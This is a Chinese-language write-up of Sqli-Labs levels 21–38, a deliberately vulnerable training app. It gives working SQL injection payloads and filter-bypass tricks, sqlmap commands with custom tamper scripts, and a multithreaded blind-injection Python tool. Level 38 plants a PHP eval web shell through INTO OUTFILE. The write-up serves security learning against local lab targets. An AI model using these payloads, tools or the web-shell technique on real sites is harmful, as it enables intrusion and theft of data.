[Sqli-Labs-Master] - Page_2

发布时间 2023-11-01 01:09:28作者: Festu

Sqli-Labs-Master_Page2

Less-21

Cookie 查询注入,字符型,Cookie 进行了 base64 编码,注入的是解码后的内容。

payload:

Cookie: uname=MScgYW5kIGV4dHJhY3R2YWx1ZSgxLCBjb25jYXQoMHg3ZSwgKHNlbGVjdCBzZWNyZXRfVFZPVCBmcm9tIGNoYWxsZW5nZXMuc280bjZpa2dkcyBMSU1JVCAwLCAxKSwgMHg3ZSkpIG9yICcx

Less-22

较于上一题单引号改成了双引号。

payload:

Cookie: uname=MSIgYW5kIGV4dHJhY3R2YWx1ZSgxLCBjb25jYXQoMHg3ZSwgKHNlbGVjdCBzZWNyZXRfVFZPVCBmcm9tIGNoYWxsZW5nZXMuc280bjZpa2dkcyBMSU1JVCAwLCAxKSwgMHg3ZSkpIG9yICIx

Less-23

字符型报错注入,无法使用注释符。

payload:

?id=1' and extractvalue(1, concat(0x7e, (select secret_TVOT from challenges.so4n6ikgds LIMIT 0, 1), 0x7e)) or '1

Less-24

二次注入(存储型)。参考:二次注入


黑盒视角:

注册用户界面,限制了 username 与 password 的长度;修改密码界面时间盲注毫无反应,也无报错提示,单双引号经测试也都无效。


白盒视角:

PHP 使用 Session 来管理用户会话,session_start() 会开启一个 Session,该 Session 有一串 id 即 Cookie 中所见的 session_id,全局数组 $_SESSION 会存储该 ID 对应的信息,例如"username"与"password"。因此 session_id 不是一串特殊编码后的保存用户信息的字符串,而是一个标识符,PHP 通过检索运行环境中 $_SESSION 所存储的该 id 对应的信息来检查用户身份。这个超级数组 $_SESSION 扮演了一个临时数据库的角色,以 session_id 为键存储了对应会话的用户信息,PHP 通过检索这个临时数据库来获取对应会话的登录信息。因此无法通过篡改 session_id 来简单的绕过身份验证。


二次注入:

可以篡改真管理员的密码。

  1. 注册一个用户名为 admin'# 的账户。
  2. 为该账户修改密码,例如密码修改为"123456"。
  3. 管理员用户 admin 的密码被篡改为了"123456"。

由于修改用户密码时,字符串未做处理直接拼接,因此 admin'# 被拼接进了:

UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' 

变成了:

UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' 

在源码中:

$username= $_SESSION["username"];
	$curr_pass= mysql_real_escape_string($_POST['current_password']);
	$pass= mysql_real_escape_string($_POST['password']);
	$re_pass= mysql_real_escape_string($_POST['re_password']);

由于修改密码时传入的三个参数都被做了转义,因此不能注入。只有"username"是直接从 session 中取出来的,因此可以注入,故被称为存储型注入(二次注入)。

Less-25

字符型报错注入,将输入的 andor 全部替换为空,但至替换了一次,可以双写绕过:anandd

payload:

?id=1' anandd extractvalue(1, concat(0x7e,(select secret_TVOT from challenges.so4n6ikgds LIMIT 0, 1),0x7e)) anandd '1

Less-25a

字符型布尔盲注,过滤了"and","or","+"等符号,逻辑运算符可以双写绕过。

PoC:

?id=1 anandd if(ascii(substr((select database()),1,1))=115, sleep(2), 1)

Sqlmap:

sqlmap -u http://172.31.224.1:83/sqli-labs-master/Less-25a/index.php?id=1 -p id --technique B --tamper=diy/doubleDiy.py -D challenges -T so4n6ikgds -C secret_TVOT --dump --flush-session

由于需要绕过过滤,需要自定义一个双写绕过的脚本。老版本的 sqlmap 自带一个名叫"nonrecursivereplacement.py"的脚本用于双写绕过一些关键词,但新版本的 sqlmap 没有这个脚本了。自己试了一下以后也能理解为什么没了,如果某个关键词没有被过滤(替换为空),那么双写反而会让注入失败。因此需要针对性的双写绕过,单个脚本要实现这一点很难,不如让使用者自定义。

/usr/share/sqlmap/tamper/diy/ 下自定义一个"doubleDiy.py"脚本:

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import re
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def doubleReplace(payload):
    org_pay = payload
    if(re.search("or", org_pay, re.I) != None):
        payload = re.sub(re.compile("or", re.I), "OoRr", payload)
    if(re.search("and", org_pay, re.I) != None):
        payload = re.sub(re.compile("and", re.I), "AnaNdd", payload)
#    if(re.search("select", org_pay, re.I) != None):
 #       payload = re.sub(re.compile("select", re.I), "sElselEcteCt", payload)
  #  if(re.search("union", org_pay, re.I) != None):
   #     payload = re.sub(re.compile("union", re.I), "unIuNionOn", payload)
    return payload

def tamper(payload, **kwargs):
    if payload:
        payload_new = doubleReplace(payload)
        return payload_new
    else:
        return payload

遇到的问题主要如下:

  1. 由于"select"等没被过滤,因此不能双写。
  2. re.sub() 函数并不会直接更新目标字符串,需要将其返回的新结果赋值给 payload 来更新。

Less-26

过滤了『几乎所有注释符、几乎所有空白字符、英文逻辑运算符』的字符型报错注入。利用括号替代空格,字符逻辑运算符代替 and 和 or。

payload:

?id=0'||extractvalue(1,concat(0x7e,(select(group_concat(secret_TVOT))from(challenges.so4n6ikgds)),0x7e))||'0

Less-26a

见单独的笔记。

Less-27

payload:

?id=1'%0Bor%0Bextractvalue(1, concat(0x7e,(selEct(secret_FPMB)from(challenges.5idc4x45h8)),0x7e))or'1

或:

?id=1'||extractvalue(1, concat(0x7e,(selEct(secret_FPMB)from(challenges.5idc4x45h8)),0x7e))or'1

报错注入,过滤了 select 与基本空白字符与注释符。前者用大小写绕过,后者用 %0B,%0C,%09 绕过(或者直接用括号绕过空格,用 || 代替 or)。


使用 Union 也行:

?id=0'uNion%09sElect%091,secret_FPMB,1%09from%09challenges.5idc4x45h8%09where%09'1'='1

Tips:

  1. 过滤了 union ,可以双写绕过。
  2. 注意要让前面的查询没有结果,此处负号会被替换为空(源码中替换的是 [--] ,实际代表的就是一个 - ),只能考虑用空或者 0 或者加其他条件。
  3. 由于没有注释符,需要添加额外语句闭合后面的单引号。
  4. 前面的查询结果有三列,显示的是后两列,需要将目标放在后两列中。

Less-27a

双引号+无括号包裹的布尔盲注。过滤了 union, Union, select, SELECT, %0A, %0D, *

payload:

sqlmap -u http://172.21.240.1:83/sqli-labs/Less-27a/?id=1 -p id --technique B --flush-session -D challenges -T 5idc4x45h8 -C secret_FPMB --dump --tamper "diy/space2blank,randomcase" --batch --hex

randomcase 随机大小写绕过对 select 的过滤,diy/space2blank 绕过对部分空白字符以及星号的过滤:

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import os
import random

from lib.core.common import singleTimeWarnMessage
from lib.core.compat import xrange
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):
    """
    Replaces (MySQL) instances of space character (' ') with a random blank character from a valid set of alternate characters

    Requirement:
        * MySQL

    Tested against:
        * MySQL 5.1

    Notes:
        * Useful to bypass several web application firewalls

    >>> random.seed(0)
    >>> tamper('SELECT id FROM users')
    'SELECT%A0id%0CFROM%0Dusers'
    """

    # ASCII table:
    #   TAB     09      horizontal TAB
    #   LF      0A      new line
    #   FF      0C      new page
    #   CR      0D      carriage return
    #   VT      0B      vertical TAB        (MySQL and Microsoft SQL Server only)
    #           A0      non-breaking space
    blanks = (
            # '%09', 
            # '%0A', 
            '%0C', 
            # '%0D', 
            '%0B' 
            # '%A0'
    )
    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += random.choice(blanks)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                retVal += random.choice(blanks)
                continue
            
            if payload[i] == "*":
                retVal += "secret_FPMB"
                continue
            retVal += payload[i]

    return retVal

由于 randomcase 的优先度是 normal,不同的优先度会导致脚本执行出现问题,因此 diy 脚本优先度调整为 normal。利用具体存在的字段 secret_FPMB 替换 *


用 Union 解决:

?id=0"uNion%09sElect%091,secret_FPMB,1%09from%09challenges.5idc4x45h8%09where%09"1"="1

Tips:

  1. 要让原查询无结果。
  2. 查询共有三列,要将目标放在后两列。
  3. 需要闭合后面的双引号。

Less-28

使用联合注入,payload:

?id=0')union%09union%0B%0Bselectselect%091,secret_FPMB,1%09from%09challenges.5idc4x45h8%09where%09('1'='1

Tips:

  1. 单引号、一层括号包裹。
  2. 过滤了 union<空白字符>select ,但只过滤了一次(这不看 output 谁知道 = =)。
  3. 查询结果有三列,显示后两列,前面的查询不能有结果。

使用布尔盲注,用 sqlmap 跑:

sqlmap -u http://172.21.240.1:83/sqli-labs/less-28/?id=1 -p id --method GET --batch --flush-session --tamper=diy/space2blank --technique B -D challenges -T 5idc4x45h8 -C secret_FPMB --dump

Tips:

  1. 脚本需要将空白字符换成 %09, %0B, %0C* 换成 secret_FPMB。

时间盲注也是有效的,但是由于 sqlmap 对于 时间盲注的 payload 喜欢带上减号,一被过滤就寄,因此只能用自己的爆破脚本。

更新 Less-26 的时间盲注脚本:

import requests as rq   # By Requests
import threading as td
from tqdm import trange

class BlindInjection:   # 时间盲注
    def __init__(self) -> None:
        self.encoding = "utf-8"
        self.result = {}
        # get/post
        self.method = 'get'
        # Boolean/Time
        self.check = 'Boolean'
        self.url = "http://localhost:83/sqli-labs/less-28/"
        self.headers = {
            "User-Agent": "",
            "Host": "",
        }
        self.range = [0, 255]   # 涵盖 0xFF
        # 使用时间盲注时, 延时越长可行线程数越少, 但是在网络不稳定的情况下鲁棒性更好
        # 延时越长, 线程越多,时间盲注越容易因拥挤而出错; 目标字符串长度过长也会影响正确率,但不明显(脑测)
        # 用本地服务测试, 1s 延迟下 5 线程较稳定, 那实战大概只能有 3 线程左右;
        # 若延时为 2s...还要更糟糕
        # 使用布尔盲注时线程可以很多, 本地测试时甚至可以满线程
        self.timeout = 1   # 延时
        # 使用布尔盲注时,需要指定界面返回有效时的 string 或返回不正确的 notString, 默认为 None
        self.string = "Login name"
        self.notString = None
        self.trd = 24   # 线程数
        self.trds = td.Semaphore(self.trd)
        self.lock = td.Lock()
        self.payload = {    # 完整 payload, 预留子查询语句
            "length": {
                "pos": 1,   # 二分检测位置为第一个 %s, 布尔盲注默认盲注成功时返回有效界面
                "cot": f"?id=0'||if(length((%s))%s,1,0)||'0"
            },
            "detail": {
                "pos": 2,
                "cot": f"?id=0'||if(ascii(substr((%s),%d,1))%s,1,0)||'0"
            }
        }
        # HEX 亲在 payload 中手动添加, 还原后自行解码
        self.target = {     # 补充子查询语句,如需要再次补充则添加 %s,会触发 input()
            # "cur_database": "select(database())",
            # "database": "select(group_concat(schema_name))from(infoorrmation_schema.schemata)",
            # "table": "select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='%s')",
            # "column": "select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='%s')",
            "secret": "select(secret_FPMB)from(challenges.5idc4x45h8)"
        }
   
    def run(self) -> bool:
        for key, val in self.target.items():
            if("%s" in val):
                val = val % (input(val+"\n->"))
            self.result[key] = self.inject(val)

    def inject(self, query: str) -> str:    # 注入指定内容
        t_len = self.BS("length", [query])  # 先得到长度
        self.t_res = "_"*t_len+":{}".format(str(t_len))
        t_trd = []
        for i in range(t_len):
            t_trd.append(td.Thread(target=self.injectWrap, args=(i, ("detail", [query, i+1]))))
            t_trd[i].start()
        for i in range(t_len):
            t_trd[i].join()
        return self.t_res
    
    def injectWrap(self, ords:int, parms:tuple) -> None:
        self.trds.acquire() # 获取信号量
        t_res = self.BS(parms[0], parms[1])
        self.lock.acquire() # 获取资源锁
        if t_res != -1:
            self.t_res="{}{}{}".format(self.t_res[:ords], chr(t_res), self.t_res[ords+1:])
        else:
            self.t_res="{}{}{}".format(self.t_res[:ords], "~", self.t_res[ords+1:])
        print("\r{}".format(self.t_res), end="")
        self.lock.release()
        self.trds.release()


    def BS(self, key: str, parms: list) -> int: # Binary Search
        left, right = self.range
        while(left <= right):
            mid = (left+right)//2
            if self.request(self.getPayload(key, parms, "".join(["=", str(mid)]))):  # 查找正确
                return mid
            elif self.request(self.getPayload(key, parms, "".join([">", str(mid)]))):
                left = mid+1
            else:
                right = mid-1
        return -1

    def getPayload(self, key: str, parms: list, parm: str) -> str:
        tmp = parms.copy()
        tmp.insert(self.payload[key]["pos"], parm)
        return self.payload[key]["cot"] % tuple(tmp)

    def request(self, data) -> bool:
        if(self.method == "get"):
            body_data = None
        else:
            body_data = data
            data = ""
        if self.check == "Time":
            try:
                res = rq.request(url=self.url+data, method=self.method, data=body_data, timeout=(5, self.timeout))
                # print(f"{data} - false")
                return False
            except Exception as e:   # 命中
                # print(f"{data} - true")
                # print(e)
                return True
        else:
            if self.string != None:
                res = rq.request(url=self.url+data, method=self.method, data=body_data)
                if(self.string in res.content.decode(self.encoding)):
                    return True
                else:
                    return False
            else:
                res = rq.request(url=self.url+data, method=self.method, data=body_data)
                if(self.notString in res.content.decode(self.encoding)):
                    return False
                else:
                    return True
            

if __name__ == "__main__":
    inject = BlindInjection()
    inject.run()

为脚本添加了布尔盲注的结果检测模块。

Less-28a

本关过滤的内容比 less-28 更少。

使用联合注入,payload:

?id=0')union%09uNion%09sElectsElect%091,secret_FPMB,1%09from%09challenges.5idc4x45h8%09where%09('1'='1

Tips:

  1. 过滤了 union<space>select ,双写绕过即可。
  2. 单引号加一层括号包裹。
  3. 查询三列,显示后两列。

布尔盲注使用 sqlmap:

sqlmap -u http://172.21.240.1:83/sqli-labs/less-28a/?id=1 --string Login -p id --technique B --batch --flush-session -D challenges -T 5idc4x45h8 -C secret_FPMB --dump

时间盲注使用 less-28 同款脚本。

Less-29

单引号无括号的报错注入,payload:

?id=1'or extractvalue(1,concat(0x7e,(select secret_FPMB from challenges.5idc4x45h8),0x7e))||'1

联合注入“

0'union select 1,secret_FPMB,1 from challenges.5idc4x45h8 where '1'='1

所以它 WAF 了个什么


上面访问的是"index.php",实际上 WAF 建在"login.php"中,同样传入 id,只允许传入数字内容,破解方式在 Ref 中给出,使用 HPP 双参数绕过。payload:

0'union select 1,secret_FPMB,1 from challenges.5idc4x45h8--+ 

源码中用函数模拟了服务器被 HPP 攻击时,以第一个接收到的参数作为 WAF 过滤目标;而在 REF 中可以看到 php+Apache 搭建的 Web 应用,会取第二个接收到的 id 作为 $_GET['id'] 的内容,即实际查询时的参数。

Less-30

直接看"login.php",和 29 基本一致,换成了双引号。

payload:

?id=1&id=0"uNion select 1,secret_FPMB,1 from challenges.5idc4x45h8;--+

Less-31

访问"login.php",双引号包裹的报错注入,payload:

?id=1&id=1" and extractvalue(1,concat(0x7e,(select secret_FPMB from challenges.5idc4x45h8),0x7e)) and "1 

实际上外有一层括号包裹,联合注入:

?id=1&id=0")uNion select 1,secret_FPMB,1 from challenges.5idc4x45h8;--+

Less-32

单引号包裹的宽字节注入

payload:

?id=0%df%27union select 1,1,secret_FPMB from challenges.5idc4x45h8--+

宽字节注入的前提是,数据库使用 GBK 等宽字节编码:

mysql_query("SET NAMES gbk");

传入的单引号被添加反斜杠转义,其十六进制表示为 0x5c27 。在 GBK 中,0xdf5c 为某个汉字的十六进制表示(有很多前置十六进制可供选择,总之该字符串在 GBK 中占了两个字节,GBK 从左向右解析字节流数据),因此单引号成功逃逸。

Less-33

和 32 一样,单引号包裹宽字节注入,payload:

?id=%da' union select 1,1,secret_FPMB from  challenges.5idc4x45h8--+

上题单独替换引号,本题直接使用了 addslashes() 函数。该函数会对单双引号、反斜杠以及 NULL 添加转义(传入空参数进去也没看到 NULL 的转义)。

Less-34

单引号包裹的宽字节注入,POST-payload:

passwd=456&uname=1%df%27union select 1,secret_FPMB from challenges.5idc4x45h8--+

Less-35

why care for addslashes()

无引号包裹的,额不需要宽字节绕过了,联合注入直接出,payload:

?id=0 union select 1,1,secret_FPMB from challenges.5idc4x45h8--+

Less-36

单引号包裹的宽字节注入,payload:

?id=0%df'union select 1,1,secret_FPMB from challenges.5idc4x45h8--+

使用了 mysql_real_escape_string() PHP 函数,他会处理:

\x00, \n, \r, \, ', ", \x1a

为其添加转义

Less-37

单引号宽字节注入,联合注入梭哈了,payload:

passwd=123&submit=Submit&uname=0%df'union select 1,secret_FPMB from challenges.5idc4x45h8--+

依然只是套了一层 mysql_real_escape_string()

Less-38

stacked query

单引号包裹的堆叠注入。php 使用了函数 mysqli_multi_query() 函数能够执行多条 SQL 语句。

本题实际上没做其他过滤,为了研究堆叠注入下面只讲堆叠注入的思路。(堆叠注入实际上需要其他类型的注入提供一些基本信息,如表名与列名)


由于堆叠语句的返回内容看不见,可以可考虑以下几种方式拿到 secret:

  1. 利用文件读写写入木马,该方法需要知道网站源码目录的位置:

    ?id=1';select "<? @eval($_GET['cmd']);" into outfile "E:/phpstudy_pro/WWW/sqli-labs/Less-38/pet.php";
    

    如果直接用相对路径,文件将会被写入到 mysql 目录下的 data 文件夹中

  2. 使用时间盲注,但是本关经测试行不通过。

    具体原因参考:PHP mysqli_multi_query 执行多条语句及 web端回显的问题

    简单来说,本关的源码只取了首个语句的执行结果,对于 sleep 语句如果不尝试取其结果则不会有延时效果,因此无法使用时间盲注。

    详细解释,需要解释几个函数,先上示例代码:

    <?php
        $conn = mysqli_connect("localhost", "root", "admin123", "security");
        $sql = "SELECT * FROM users;SELECT * FROM users WHERE id=2;SELECT SLEEP(1);-- ...";
        if(mysqli_multi_query($conn, $sql)){
            while(mysqli_more_results($conn)){
                echo "---------------------</br>";
                $result = mysqli_store_result($conn);
                var_dump($result);
                echo "</br>";
                while($row = mysqli_fetch_row($result)){
                    var_dump($row);
                    echo "</br>";
                }
                mysqli_free_result($result);
                mysqli_next_result($conn);
            }
        }
        mysqli_close($conn);
    

    以上代码可以完整获取多条语句的执行结果。

    1. mysqli_multi_query(connection, query)

      当第一个查询语句失败时返回 False。

    2. mysqli_more_results(connection) 查看某连接缓存区是否还有查询结果。

    3. $result = mysqli_store_result(connection) 返回某连接当前一句查询语句的查询结果。

    4. mysqli_fetch_row(result) 从查询结果数组中取出一行记录,为一般数组。如果无下一行记录可取,则返回 False。

    5. mysqli_free_result(result) 释放查询结果的空间。

    6. mysqli_next_result(connection) 获取某连接下一句查询语句的结果并置于结果缓冲区。

      该函数用于切换多语句查询中不同语句的结果。

  3. 利用插入、更新操作获取敏感内容。

    由界面的回显可以猜测出字段名是"username"与"password",以及一个 ID。不难猜测表名应该是"users"。利用:

    ?id=1';insert into users(id,username,password) values(77,"festu","123456");--+
    

    发现成功插入,将敏感信息插入到当前表中即可:

    1';insert into users(id,username,password) values(78,(select database()),"123456");--+
    
    60';insert into security.users(id, username, password) values(102, (select mid(secret_FPMB, 1, 12) from challenges.5idc4x45h8),(select mid(secret_FPMB, 13, 12) from challenges.5idc4x45h8));--+
    

    Tips:

    1. 插入的主键注意不能重复
    2. 使用不同数据库的表数据时,给各表前加上数据库名
    3. 本关中 username 与 password 有长度限制,不能直接写入整个 secret。